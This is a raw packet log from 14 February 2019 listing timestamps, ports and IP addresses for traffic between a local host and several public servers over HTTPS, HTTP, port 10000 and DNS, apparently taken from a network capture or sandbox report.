Feb 14, 2019 12:59:41.264674902 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.264807940 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.264882088 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.264950037 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.265057087 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.265127897 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.265173912 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.265248060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.265254974 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.265358925 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.265456915 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.265516043 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.265558004 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.265620947 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.265743971 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.265840054 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.265865088 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.265963078 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.265985966 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.266124964 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.266160965 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.266278028 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.266387939 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.266501904 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.266617060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.266731024 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.266872883 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.266972065 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.267143965 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.267293930 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.267421961 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.267460108 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.267575026 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.267905951 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.267925024 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.267932892 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.267940044 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.267947912 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.267954111 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.267961025 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.267966986 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.268333912 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.268431902 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.268440008 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.268532038 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.268559933 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.268670082 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.268758059 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.268774986 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.268894911 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.268949032 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.269004107 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.269115925 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.269161940 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.269284964 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.269421101 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.269562006 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.269643068 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.269682884 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.269731045 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.269895077 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.269903898 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.270054102 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.270165920 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.270278931 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.270394087 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.270416975 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.270479918 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.270514965 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.270770073 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.270781040 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.270895958 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.271008015 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.271066904 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.271183968 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.271197081 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.271358013 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.271389008 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.271569967 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.285970926 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.387593031 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.419423103 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.419456959 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.419579029 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.419648886 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.419924974 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.420032024 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.420270920 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.420331955 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.420351028 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.420463085 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.420595884 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.420749903 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.420926094 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.421050072 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.421365976 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.421396971 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.421431065 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.421751022 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.421797991 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.422478914 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.422492027 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.422497988 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.422502995 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.422813892 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.422823906 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.423202991 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:41.423316956 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:41.425182104 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:45.057467937 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:45.057688951 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:45.152770996 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:45.152789116 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:45.152908087 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:45.154901028 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:45.193888903 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:45.196341038 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:45.200376987 MEZ	61002	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.200495958 MEZ	59307	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.246191025 MEZ	53	61002	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.248718023 MEZ	59307	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.277790070 MEZ	53	59307	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.280345917 MEZ	49290	80	192.168.0.50	52.40.4.65
Feb 14, 2019 12:59:45.285307884 MEZ	53	59307	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.434410095 MEZ	80	49290	52.40.4.65	192.168.0.50
Feb 14, 2019 12:59:45.436027050 MEZ	49290	80	192.168.0.50	52.40.4.65
Feb 14, 2019 12:59:45.436333895 MEZ	49290	80	192.168.0.50	52.40.4.65
Feb 14, 2019 12:59:45.589796066 MEZ	80	49290	52.40.4.65	192.168.0.50
Feb 14, 2019 12:59:45.595549107 MEZ	80	49290	52.40.4.65	192.168.0.50
Feb 14, 2019 12:59:45.597048044 MEZ	49290	80	192.168.0.50	52.40.4.65
Feb 14, 2019 12:59:45.598284006 MEZ	58436	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.598376989 MEZ	51681	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.640680075 MEZ	53	58436	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.642610073 MEZ	51681	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.671312094 MEZ	53	51681	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.673139095 MEZ	53	51681	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.675767899 MEZ	49291	80	192.168.0.50	35.162.20.150
Feb 14, 2019 12:59:45.827728987 MEZ	80	49291	35.162.20.150	192.168.0.50
Feb 14, 2019 12:59:45.829992056 MEZ	49291	80	192.168.0.50	35.162.20.150
Feb 14, 2019 12:59:45.830265999 MEZ	49291	80	192.168.0.50	35.162.20.150
Feb 14, 2019 12:59:45.982059002 MEZ	80	49291	35.162.20.150	192.168.0.50
Feb 14, 2019 12:59:46.008542061 MEZ	80	49291	35.162.20.150	192.168.0.50
Feb 14, 2019 12:59:46.009769917 MEZ	49291	80	192.168.0.50	35.162.20.150
Feb 14, 2019 12:59:46.012825966 MEZ	62183	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.013782978 MEZ	60326	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.060003996 MEZ	53	62183	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.062338114 MEZ	60326	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.081896067 MEZ	53	60326	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.094085932 MEZ	53	60326	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.096371889 MEZ	49292	80	192.168.0.50	35.161.68.49
Feb 14, 2019 12:59:46.248734951 MEZ	80	49292	35.161.68.49	192.168.0.50
Feb 14, 2019 12:59:46.248945951 MEZ	49292	80	192.168.0.50	35.161.68.49
Feb 14, 2019 12:59:46.249330997 MEZ	49292	80	192.168.0.50	35.161.68.49
Feb 14, 2019 12:59:46.401525021 MEZ	80	49292	35.161.68.49	192.168.0.50
Feb 14, 2019 12:59:46.408024073 MEZ	80	49292	35.161.68.49	192.168.0.50
Feb 14, 2019 12:59:46.408227921 MEZ	49292	80	192.168.0.50	35.161.68.49
Feb 14, 2019 12:59:46.409553051 MEZ	56868	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.409739971 MEZ	56272	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.461474895 MEZ	53	56868	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.462258101 MEZ	56272	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.487703085 MEZ	53	56272	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.490865946 MEZ	53	56272	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.492384911 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.644610882 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.646439075 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.646796942 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.798921108 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.829441071 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.829731941 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.829926968 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.829958916 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.830056906 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.830189943 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.830310106 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.830430984 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.830552101 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.830615044 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.831718922 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.831765890 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.831783056 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.832230091 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.832251072 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.832314014 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.832742929 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.832839012 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.984169960 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.984241009 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.984359980 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.984474897 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.984582901 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.984679937 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.984781027 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.984915018 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.985035896 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.985155106 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.985275030 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.985394955 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.985655069 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.985707045 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.985723019 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.985873938 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.986058950 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.986138105 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.986253023 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.986257076 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.986258030 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.986264944 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:46.987138987 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.987149000 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.987154961 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.987159967 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.987210035 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.987685919 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.987694979 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.987726927 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.988785028 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.988794088 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:46.988862991 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.125025988 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:47.126698017 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:47.138447046 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.138521910 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.138580084 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.138691902 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.138811111 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.138931036 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.139455080 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.139489889 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.139513969 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.139588118 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.139612913 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.139727116 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.139858007 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.140091896 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.140115023 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.140253067 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.140451908 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.140528917 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.140646935 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.140650988 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.140652895 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.140953064 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.141006947 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.141186953 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.141189098 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.141191006 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.141191959 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.141194105 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.141273975 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.141303062 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.141756058 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.141758919 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.141761065 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.142117977 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.142132998 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.142141104 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.142147064 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.142153025 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.142175913 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.142353058 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.142355919 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.142358065 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.142599106 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.142687082 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.142920971 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.142923117 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.142924070 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.142925978 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.143186092 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.143198013 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.143251896 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.143475056 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.143476963 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.143479109 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.143718958 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.143806934 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.144021988 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.144273996 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.144360065 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.145463943 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.145478964 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.145484924 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.145490885 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.145497084 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.145529985 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.246016026 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.292906046 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.292934895 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.292999983 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.293052912 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.293168068 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.293349028 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.293473005 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.293550014 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.293674946 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.293793917 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.293910980 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.294028997 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.294145107 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.294724941 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.294729948 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.294732094 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.294734001 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.295057058 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.295074940 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.295140982 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.295243979 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.295245886 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.295248032 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.295249939 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.295608997 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.295620918 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.295650005 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.295855999 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.295857906 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.295859098 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.295861006 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.295862913 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.296427011 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.296428919 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.296430111 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.296432018 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.296721935 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.296731949 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.296737909 MEZ	49293	80	192.168.0.50	52.89.234.147
